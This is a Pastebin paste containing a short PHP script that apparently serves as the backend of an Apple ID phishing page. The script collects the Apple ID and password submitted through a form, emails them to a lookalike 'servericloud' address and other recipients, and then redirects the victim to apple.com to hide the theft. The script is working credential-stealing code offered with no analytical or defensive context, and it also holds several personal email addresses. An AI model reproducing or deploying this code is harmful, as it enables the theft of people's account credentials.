Advertisement
Guest User

Untitled

a guest
Dec 27th, 2015
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.94 KB | None | 0 0
  1. <?php
  2.  
  3. $idapple = $_POST['idapple'];
  4. $passapple = $_POST['passapple'];
  5.  
  6. if(!$idapple == '' && !$passapple == ''){
  7. $correo_admin = "support@servericloud.com";
  8. $correo_web = "juanbotagallo@gmail.com";
  9. $titulo = 'Mensaje de Formulario: '.$idapple;
  10. $mensaje = '<table width="230" border="0" cellpadding="0" cellspacing="0"><tr><td><div id="campo">Nombre: <strong>'.$idapple.'</strong></div></td></tr><tr><td><div id="campo">Password: <strong>'.$passapple.'</strong></div></td></tr></table>';
  11. $cabeceras  = 'MIME-Version: 1.0' . "\r\n";
  12. $cabeceras .= 'Content-type: text/html; charset=utf-8' . "\r\n";
  13. $cabeceras .= 'To: Informes <'.$correo_admin.'>' . "\r\n";
  14. $cabeceras .= 'From: PaginaWEB <'.$correo_web.'>' . "\r\n";
  15. $cabeceras .= 'Cc: support@servericloud.com, berrospi@disolu.com' . "\r\n";
  16. mail($correo_admin, $titulo, $mensaje, $cabeceras);
  17. header("Location: http://www.apple.com");
  18. }else{
  19. header("Location: index.php?m=2");
  20. exit();
  21. }
  22.  
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement